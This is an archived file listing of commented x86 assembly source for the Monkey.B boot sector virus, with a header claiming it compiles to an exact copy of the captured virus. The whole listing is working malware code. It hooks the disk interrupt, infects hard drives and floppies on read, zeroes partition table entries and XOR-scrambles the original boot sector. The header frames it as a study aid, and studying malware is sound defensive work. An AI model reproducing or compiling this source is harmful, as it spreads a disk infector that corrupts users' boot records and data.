home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / MONKEY-B.ZIP / MONKEY-B.ASM / text0000.txt < prev   
Encoding:
Text File  |  1995-01-15  |  10.8 KB  |  367 lines

  1. ;**************************Stoned.Empire.Monkey.B
  2. ;This will create a binary image of Monkey. It compiles real well with the
  3. ;A86 compiler. I used that because I was trying to create source that was
  4. ;as equivalent to the original binary image as possible. With the exception
  5. ;of six bytes that differ due to using functionally equivalent op codes,
  6. ;Stoned.Empire.Monkey.B
  7. ;This is an MBR infected with the virus, it does not create an executable 
  8. ;file. It has to be compiled and manually loaded to the MBR or boot sector
  9. ;of a floppy diskette. This is an excellent study as to how these types 
  10. ;of viruses, and will give the researcher an very good resource as to how
  11. ;the infection mechanism works and how to prevent/clean this and other 
  12. ;similar viruses. 
  13. ;this is an exact duplicate when compiled with A86. If anyone wants to
  14. ;complete the commenting, please feel free as I did not understand some of 
  15. ;this code. the author apparently had an excellent understanding of 
  16. ;the partition loading stub as these areas are read during the installation
  17. ;of the virus. If you do add comments, send me a copy
  18. ;Leonard Gragson
  19. ;lgragson@fileshop.com
  20. ;YBMY91A - Prodigy
  21. ;73141,1034 - Compuserve
  22. ;
  23.         jmp     short virus_start       ;all jmps are short
  24.         nop     
  25.         mov     ss, ax
  26.         mov     sp, 7c00h
  27.         mov     si, sp
  28.         push    ax
  29.         pop     es
  30.         push    ax
  31.         pop     ds
  32.         sti
  33.         cld
  34.         mov     di, 0600h
  35.         mov     cx, 100h
  36.         repnz   movsw
  37.         db      0eah, 1dh, 6, 0, 0     
  38.                 ;jmp far 0000:061dh
  39.         
  40.         mov     si, 7beh
  41.  
  42.  
  43.  
  44. virus_start:
  45.        cli                      ;no system interrupts
  46.        sub      bx, bx          ;zero bx
  47.        mov      ds, bx          ;
  48.        mov      ss, bx
  49.        mov      sp, 7c00h       ;just below boot data area
  50.        
  51.        db       0eah, 2fh, 0, 0c0h, 7
  52.                 ;***thats a jmp far  07c0:002f, which is next instruction
  53.                 ;***this sets offsets to org 0
  54.        
  55.        
  56.        int      12h             ;get sys mem in ax
  57.        mov      si, 4ch
  58.        push     si
  59.        cmp      byte ptr cs:[00f2h], 2 ;test for BIOS mem location
  60.        jz       next_pt1
  61.        call     shrink_mem
  62.  
  63.        mov      di, 01fc
  64.        mov      cx, 2
  65.        cld
  66.        repz     movsw           ;load int13h address into virus INT 13h handler
  67.                                 ;which will start at es:0
  68.        jmp   short   next_pt2
  69.  
  70. next_pt1:
  71.         call    set_es
  72. next_pt2:
  73.         pop     si                      ;points to INT 13h vector entry
  74.         mov     word ptr [si], 007dh    ;offset
  75.         mov     word ptr [si + 2], ax   ;ax == es, where virus handler is going
  76.  
  77.         push    cs
  78.         pop     ds                      ;ds == 0 up to this point
  79.         call    mov_virus               ;ds now == 7c0h
  80.  
  81.         push    es
  82.         mov     ax, 0062h               ;for retf to virus
  83.         push    ax                      
  84.         sti                             ;enable interrupts
  85.         retf                            ;to es:62h -> see next routine
  86.  
  87. set_virus:         ;<- this is offset 62h! at virus location es:0062h
  88.  
  89.         mov     es, cx                  ;like xor es, es
  90.         mov     bx, sp                  ;still at 7c00h!
  91.         push    cx
  92.         push    bx                      ;for return to 0000:7c00
  93.  
  94.         mov     dx, 0080h               ;c: drive, cyl 0
  95.         call    set_si                  ;haven't figured this out yet
  96.  
  97.         call    do_virus_thing
  98.  
  99.         mov     cl, 3
  100.         mov     dx, 80h
  101.         call    read_drive
  102.         call    scramble_boot
  103.         retf
  104.  
  105. int_13h_handler:
  106.         push    ds
  107.         push    si
  108.         push    di
  109.         push    ax
  110.         push    cx
  111.         push    dx
  112.         call    set_si
  113.         cmp     ah, 2                   ;read operation?
  114.         jnz     not_two
  115.         push    dx
  116.         sub     ax, ax
  117.         int     1ah
  118.         cmp     dl, 40h
  119.         pop     dx
  120.         jnb     not_two
  121.         call    do_virus_thing          ;write a virus to the drive or disk
  122.  
  123. not_two:
  124.         pop     dx
  125.         pop     cx
  126.         pop     ax
  127.         pop     di
  128.         push    dx
  129.         push    cx
  130.         push    ax
  131.         cmp     cx, 3
  132.         jnb     not_three
  133.         cmp     dh, [si]                ;check for read/write to virus sector
  134.         jnz     not_three
  135.         cmp     ah, 2
  136.         jz      call_int13h
  137.         cmp     ah, 3
  138.         jnz     not_three
  139.         cmp     dl, 80h
  140.         jb      not_three
  141.         sub     ah, ah
  142.         jmp  short   not_three
  143.  
  144.  
  145. call_int13h:    
  146.         call    int_13h_call
  147.         jb      end_handler    
  148.         call    check_data1
  149.         jz      point_two      
  150.         call    check_data2
  151.         jz      point_two
  152.         clc
  153.         jmp  short   end_handler
  154.  
  155. point_two:
  156.         call    set_real_partition
  157.         mov     dh, [si + 1]
  158.         pop     ax
  159.         call    int_13h_call
  160.         call    scramble_boot
  161.         pop     cx
  162.         pop     dx
  163.         jmp  short   end_here
  164. not_three:
  165.         call    int_13h_call
  166. end_handler:
  167.         pop     ds
  168.         pop     ds
  169.         pop     ds
  170. end_here:
  171.         pop     si
  172.         pop     ds
  173.         retf    2
  174.  
  175. data_area       db      0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, 0eh
  176.  
  177. read_drive:
  178.         mov     ax, 0201h               ;read 1 sector
  179. int_13h_call:
  180.         pushf                           ;simulate INT
  181.         db      2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch]
  182.         ret                                                
  183.  
  184. shrink_mem:
  185.         dec     ax              ;contains mem from int 12h
  186.         mov     di, 414h
  187.         dec     di              ;this has got to be a "fool the scanner" trick
  188.         mov     [di], ax        ;shrink sys me by 1 K
  189. set_es:
  190.         mov     cl, 6
  191.         shl     ax, cl          ;get top of base mem in segs
  192.         add     al, 20h         ;add a little more to be safe
  193.         mov     es, ax          ;and set es. This will be about 9fe0h or so
  194.                                 ;if full 640K mem
  195.         ret
  196.  
  197. write_drive:                                                    
  198.         mov     dh, [si]        ;on first infection si == 0 - head 0
  199.         mov     ax, 0301h       ;write one sector
  200.         call    int_13h_call    ;and do it
  201.  
  202.         ret
  203.  
  204. do_virus_thing:
  205.         sub     cx, cx
  206.         inc     cx
  207.         push    cx                      ;god, mov cx, 1
  208.         mov     dh, [si]                ;location of sector
  209.         call    read_drive              ;read in one sector, this will be partition
  210.                                         ;on first infection
  211.         jb      end_do_virus_thing      ;error? lets abort
  212.  
  213.         call    check_data1             ;do we have 9219h sectors in last partition? 
  214.         jz      end_do_virus_thing      ;if so, get out of town                
  215.         
  216.         call    check_data2
  217.         jnz     next_virus_pt
  218.  
  219.         cmp     word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition?
  220.         jz      end_do_virus_thing         ; quit     
  221.         
  222.         mov     word ptr es:[bx + 1fah], 0 ;this will kill last partition
  223.         mov     cl, 1                      ;sector 1?
  224.  
  225.         call    write_drive
  226.         jb      end_do_virus_thing            ;error abort  
  227.         inc     cx                          ;sector 2?
  228.         mov     dh, [si + 2]
  229.         
  230.         call    read_drive                  ;get the boot sector
  231.         jb      end_do_virus_thing
  232.  
  233.         pop     ax                          ;should == 1    
  234.         push    cx                          
  235.  
  236. next_virus_pt:
  237.  
  238.         call    set_real_partition
  239.         call    scramble_boot
  240.  
  241.         inc     si
  242.         call    write_drive
  243.  
  244.         dec     si
  245.         jb      end_do_virus_thing
  246.  
  247.         call    scramble_boot
  248.  
  249.         push    cx
  250.         call    mov_virus
  251.         pop     cx
  252.         push    dx
  253.         mov     dl, [si + 3]
  254.         
  255.         ;mov     word ptr es:[bx + 74h], dx
  256.         db      26h, 89h, 97h, 74h, 00
  257.         ;****equivalent, I did this due to A86 translation being a little
  258.         ;****different than the virus I captured
  259.         
  260.         pop     dx
  261.         
  262.         ;mov     byte ptr es:[bx + 72h], cl
  263.         db      26h, 88h, 8fh, 72h, 00
  264.         ;****equivalent, I did this due to A86 translation being a little
  265.         ;****different than the virus I captured
  266.  
  267.         mov     word ptr es:[bx + 01feh], 0AA55h
  268.         pop     cx
  269.         push    cx
  270.         mov     byte ptr es:[bx + 00f2h], cl
  271.         call    write_drive
  272.  
  273. end_do_virus_thing:
  274.         pop     ax
  275.         ret
  276.  
  277. mov_virus:
  278.  
  279. ;****************** whole virus including first jmp is stored
  280. ;****************** and accessed later for disk/drive infections
  281.         
  282.         push    si
  283.         mov     di, bx                  ;di == 0
  284.         mov     si, 20h                 ;this is where virus starts
  285.         add     di, si                  ;he's keeping space between 1st jmp
  286.                                         ;and the virus loading stub constant
  287.                                         ;to facilitate future infections
  288.         mov     cx, 1dch                ;we're moving this many
  289.         repz    movsb                   ;and mov 'em
  290.  
  291.         mov     di, bx                  ;like xor di, di 
  292.         sub     si, si                  ;like xor si, si
  293.  
  294.         mov     cl, 3                   ;movs the first jmp 
  295.         repz    movsb                   ;instruction!        
  296.         
  297.         pop     si
  298.         ret
  299. ;************checks for number of sectors in last partition!
  300. check_data1:
  301.         cmp     word ptr es:[bx + 01fah], 9219h
  302.         ret
  303.  
  304. ;************not sure what is going on here, offset 119h is in the partition code
  305. ;************this ain't a virus ID
  306. check_data2:
  307.         cmp     word ptr es:[bx + 119h], 6150h
  308.         ret
  309.  
  310. scramble_boot:
  311.         push    di
  312.         push    cx
  313.         push    ax
  314.         mov     di, bx
  315.         mov     cx, 200h
  316.         cld
  317. scram_loop:        
  318.         mov     al, byte ptr es:[di]
  319.         xor     al, 2eh
  320.         stosb
  321.         loop    scram_loop
  322.  
  323.         pop     ax
  324.         pop     cx
  325.         pop     di
  326.         ret
  327.  
  328. set_si:
  329.         push    cs
  330.         pop     ds
  331.         mov     si, 00eah               ;location of real partition
  332.         cmp     dl, 80h                 ;hard drive access?
  333.         jb      end_set_si              ;no? lets go
  334.         mov     si, 00eeh               ;hard drive infection routine
  335. end_set_si:
  336.         ret
  337.  
  338. ;***********I think this loads the real partition which was read from sector 2
  339. ;***********DS equ 7c0h
  340. set_real_partition:
  341.  
  342.         push    di
  343.         push    si
  344.         mov     al, byte ptr es:[bx + 14h]
  345.         mov     cx, 4
  346. loop_ptr:        
  347.         mov     si, cx
  348.         dec     si
  349.         cmp     [si + 00f3h], al
  350.         jz      set_cl
  351.         loop    loop_ptr
  352.         mov     cl, 3
  353.         jmp  short   bye
  354. set_cl:        
  355.         mov     cl, [si+00f7h]
  356. bye:
  357.         pop     si
  358.         pop     di
  359.         ret
  360.  
  361.  
  362. scraps  db      05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah
  363.  
  364.  
  365.  
  366.  
  367.